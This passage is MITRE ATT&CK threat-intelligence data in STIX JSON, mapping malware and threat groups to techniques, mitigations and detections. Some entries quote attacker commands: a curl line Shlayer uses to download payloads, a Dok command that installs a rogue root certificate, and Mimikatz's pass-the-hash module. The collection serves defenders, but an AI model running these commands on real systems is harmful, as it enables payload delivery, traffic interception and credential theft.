December 2019)(Citation: Trend Micro DRBControl February 2020)(Citation: Profero APT27 December 2020)","modified":"2022-04-15T14:59:16.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--03acae53-9b98-46f6-b204-16b930839055","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d42b9304-293a-4b95-a946-dcda81be5c87","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf","description":"ESET, et al. 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Retrieved June 16, 2020."}],"modified":"2020-06-16T17:53:18.764Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has collected files from infected systems and uploaded them to a C2 server.(Citation: ESET Gamaredon June 2020)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a69c1383-0afc-40d5-879c-fda561aff983","type":"relationship","created":"2020-03-29T20:35:36.808Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-04-06T12:31:06.895Z","description":"Proactively reset accounts that are known to be part of breached credentials either immediately, or after detecting bruteforce attempts.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bca618ac-7867-4dc4-b683-ae3f61addc68","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RATANKBA","description":"Trend Micro. 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Retrieved October 18, 2019."}],"modified":"2020-07-09T14:02:05.406Z","description":"Configure user permissions groups and roles for access to cloud storage.(Citation: Microsoft Azure Storage Security, 2019) Implement strict Identity and Access Management (IAM) controls to prevent access to storage solutions except for the applications, users, and services that require access.(Citation: Amazon S3 Security, 2019) Ensure that temporary access tokens are issued rather than permanent credentials, especially when access is being granted to entities outside of the internal security boundary.(Citation: Amazon  AWS Temporary Security Credentials)","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e4c23aa3-edf1-4f6e-ae86-f709d7c306ee","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html","description":"Elovitz, S. & Ahl, I. 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Retrieved October 28, 2020."},{"source_name":"FireEye KEGTAP SINGLEMALT October 2020","url":"https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html","description":"Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."},{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. Retrieved October 9, 2020."},{"source_name":"DFIR Ryuk 2 Hour Speed Run November 2020","url":"https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/","description":"The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020."},{"source_name":"DFIR Ryuk in 5 Hours October 2020","url":"https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/","description":"The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020."},{"source_name":"Sophos New Ryuk Attack October 2020","url":"https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/","description":"Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They’re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. 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Retrieved March 14, 2022."}],"modified":"2022-03-14T15:34:06.007Z","description":"The [WhisperGate](https://attack.mitre.org/software/S0689) third stage can use the AdvancedRun.exe tool to execute commands in the context of the Windows TrustedInstaller group.(Citation: Cisco Ukraine Wipers January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--872c6f1b-aa4f-4d43-b35d-c4216d2f4559","type":"relationship","created":"2019-03-11T17:18:27.756Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/EmpireProject/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. 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(2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. 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(2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."},{"source_name":"sentinelone shlayer to zshlayer","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021."},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."},{"source_name":"objectivesee osx.shlayer apple approved 2020","url":"https://objective-see.com/blog/blog_0x4E.html","description":"Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. 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[OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the <code>curl -fsL \"$url\" >$tmp_path</code> command to download malicious payloads into a temporary directory.(Citation: Carbon Black Shlayer Feb 2019)(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)(Citation: objectivesee osx.shlayer apple approved 2020)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--20eb2a85-e9f0-41cc-a26a-d66989c476f8","type":"relationship","created":"2021-10-11T15:50:26.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-10-11T15:50:26.281Z","description":"[SodaMaster](https://attack.mitre.org/software/S0627) can use a hardcoded RSA key to encrypt some of its C2 traffic.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--94d6d788-07bb-4dcc-b62f-e02626b00108","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8dbcee86-c9db-4ae3-ba16-29056a8a1593","type":"relationship","created":"2019-06-13T19:12:07.346Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.","url":"http://blog.morphisec.com/security-alert-fin8-is-back","source_name":"Morphisec ShellTea June 2019"}],"modified":"2021-02-09T14:07:11.264Z","description":"[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts.(Citation: Morphisec ShellTea June 2019)","relationship_type":"uses","source_ref":"malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--218617ce-6474-4fd4-920e-88207c5aa219","type":"relationship","created":"2020-12-30T16:39:34.497Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Egregor Nov 2020","url":"https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware","description":"Rochberger, L. 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Retrieved November 12, 2021."}],"modified":"2021-11-19T18:46:53.843Z","description":"[Clambling](https://attack.mitre.org/software/S0660) has gained execution through luring victims into opening malicious files.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d220a65b-c4bf-4a23-b62d-6beb81eb646a","type":"relationship","created":"2021-03-25T14:18:38.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. 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Retrieved March 24, 2021."}],"modified":"2021-03-25T14:20:26.082Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used the msiexec.exe command-line utility to download and execute malicious MSI files.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--81cfd1fd-999b-4730-b5dc-363d367dd92e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). 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Retrieved September 21, 2018.","source_name":"objsee mac malware 2017"},{"source_name":"hexed osx.dok analysis 2019","url":"http://www.hexed.in/2019/07/osxdok-analysis.html","description":"fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021."}],"modified":"2021-10-06T02:04:09.845Z","description":"[Dok](https://attack.mitre.org/software/S0281) installs a root certificate to aid in [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) actions using the command <code>add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /tmp/filename</code>.(Citation: objsee mac malware 2017)(Citation: hexed osx.dok analysis 2019)","relationship_type":"uses","source_ref":"malware--f36b2598-515f-4345-84e5-5ccde253edbe","target_ref":"attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5c0645e4-f0c7-4bb4-bedb-29a96a472fe0","type":"relationship","created":"2017-05-31T21:33:27.046Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securelist.com/the-epic-turla-operation/65545/","description":"Kaspersky Lab's Global Research and Analysis Team. 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Retrieved February 8, 2017.","source_name":"Novetta Winnti April 2015"}],"modified":"2022-01-11T16:50:22.017Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can add a service named <code>wind0ws</code> to the Registry to achieve persistence after reboot.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a02da835-676d-47df-86c6-547a7d29dbae","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). 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Retrieved November 6, 2020."}],"modified":"2020-11-06T19:39:44.074Z","description":"[KGH_SPY](https://attack.mitre.org/software/S0526) can collect drive information from a compromised host.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"malware--8bdfe255-e658-4ddd-a11c-b854762e451d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fd9cf3cc-51cd-4f13-b90e-2b8e274a4cc1","type":"relationship","created":"2021-03-29T16:39:26.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kubernetes Hardening Guide","url":"https://media.defense.gov/2021/Aug/03/2002820425/-1/-1/1/CTR_KUBERNETES%20HARDENING%20GUIDANCE.PDF ","description":"National Security Agency, Cybersecurity and Infrastructure Security Agency. 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Retrieved December 28, 2020."}],"modified":"2020-12-28T21:12:01.787Z","description":"[SharpStage](https://attack.mitre.org/software/S0546) can execute arbitrary commands with the command line.(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--0ba9281c-93fa-4b29-8e9e-7ef918c7b13a","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9ee064f9-05bc-4b9e-ad95-d1ae4f1c048a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.finfisher.com/FinFisher/index.html","description":"FinFisher. (n.d.). Retrieved December 20, 2017.","source_name":"FinFisher Citation"},{"url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. 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(2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2020-03-17T03:05:58.398Z","description":"[CORALDECK](https://attack.mitre.org/software/S0212) has exfiltrated data in HTTP POST headers.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6b83bc1e-edfc-4c6a-961f-d3757ae6a234","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://adsecurity.org/?page_id=1821","description":"Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.","source_name":"Adsecurity Mimikatz Guide"},{"description":"The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.","url":"https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools","source_name":"NCSC Joint Report Public Tools"},{"source_name":"Cobalt Strike Manual 4.3 November 2020","url":"https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf","description":"Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}],"modified":"2021-10-18T19:54:13.052Z","description":"[Mimikatz](https://attack.mitre.org/software/S0002)'s <code>SEKURLSA::Pth</code> module can impersonate a user, with only a password hash, to execute arbitrary commands.(Citation: Adsecurity Mimikatz Guide)(Citation: NCSC Joint Report Public Tools)(Citation: Cobalt Strike Manual 4.3 November 2020)","relationship_type":"uses","source_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--80f94d40-0861-4403-b206-1c864a136788","type":"relationship","created":"2019-07-18T16:38:51.138Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-09T16:57:32.335Z","description":"Ensure proper network segmentation is followed to protect critical servers and devices.","relationship_type":"mitigates","source_ref":"course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--059c285c-c836-400a-ad47-35148404c8a4","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for unusual kernel driver installation activity that may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--17525c42-6859-4175-841c-272e85f68be9","type":"relationship","created":"2021-03-15T18:56:36.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Trickbot Oct 2020","url":"https://www.welivesecurity.com/2020/10/12/eset-takes-part-global-operation-disrupt-trickbot/","description":"Boutin, J. (2020, October 12). ESET takes part in global operation to disrupt Trickbot. Retrieved March 15, 2021."}],"modified":"2021-03-15T18:56:36.833Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) used COM to setup scheduled task for persistence.(Citation: ESET Trickbot Oct 2020)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--27e4d51a-77c3-462c-8eb7-0a690f61bb98","created":"2022-03-30T14:26:51.870Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","modified":"2022-04-20T03:17:46.563Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985","target_ref":"attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c755a235-d278-41ed-835c-48e831b6d1a5","type":"relationship","created":"2021-07-28T00:45:50.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft WDAC","url":"https://docs.microsoft.com/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules","description":"Coulter, D. et al.. (2019, April 9). Microsoft recommended block rules. Retrieved August 12, 2021."}],"modified":"2021-10-15T23:57:08.254Z","description":"Use application control configured to block execution of <code>msbuild.exe</code> if it is not required for a given system or network to prevent potential misuse by adversaries. For example, in Windows 10 and Windows Server 2016 and above, Windows Defender Application Control (WDAC) policy rules may be applied to block the <code>msbuild.exe</code> application and to prevent abuse.(Citation: Microsoft WDAC)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--c92e3d68-2349-49e4-a341-7edca2deff96","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c3a1969b-1edb-4a78-80ab-b122cc2822e4","type":"relationship","created":"2017-05-31T21:33:27.078Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Citizen Lab Group5","description":"Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.","url":"https://citizenlab.ca/2016/08/group5-syria/"}],"modified":"2019-07-25T17:52:06.574Z","description":"[Group5](https://attack.mitre.org/groups/G0043) disguised its malicious binaries with several layers of obfuscation, including encrypting the files.(Citation: Citizen Lab Group5)","relationship_type":"uses","source_ref":"intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--89173790-d49a-4ef4-8d14-0fcab9ad8164","created":"2022-04-19T19:07:07.391Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Consider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.","modified":"2022-04-19T19:07:07.391Z","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72b7d86e-5e78-4bc6-a16e-c4380d12d627","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"OSX Keydnap malware","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"}],"modified":"2020-01-17T19:44:36.674Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) adds the setuid flag to a binary so it can easily elevate in the future.(Citation: OSX Keydnap malware)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2f406d0e-d78c-455b-8c4b-c093fa5b5bda","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for contextual file data that may show signs of deletion or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76c263b8-cfd9-4ad9-b1b6-f8d1184bad5c","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for newly constructed network connections that are sent or received by untrusted hosts. ","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2a83e1d-f6e8-4cdc-a96e-7bca9a48dfb2","type":"relationship","created":"2019-01-29T21:27:25.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT38 Oct 2018","url":"https://content.fireeye.com/apt/rpt-apt38","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}],"modified":"2019-09-09T19:10:53.459Z","description":"[APT38](https://attack.mitre.org/groups/G0082) used a Trojan called KEYLIME to collect data from the clipboard.(Citation: FireEye APT38 Oct 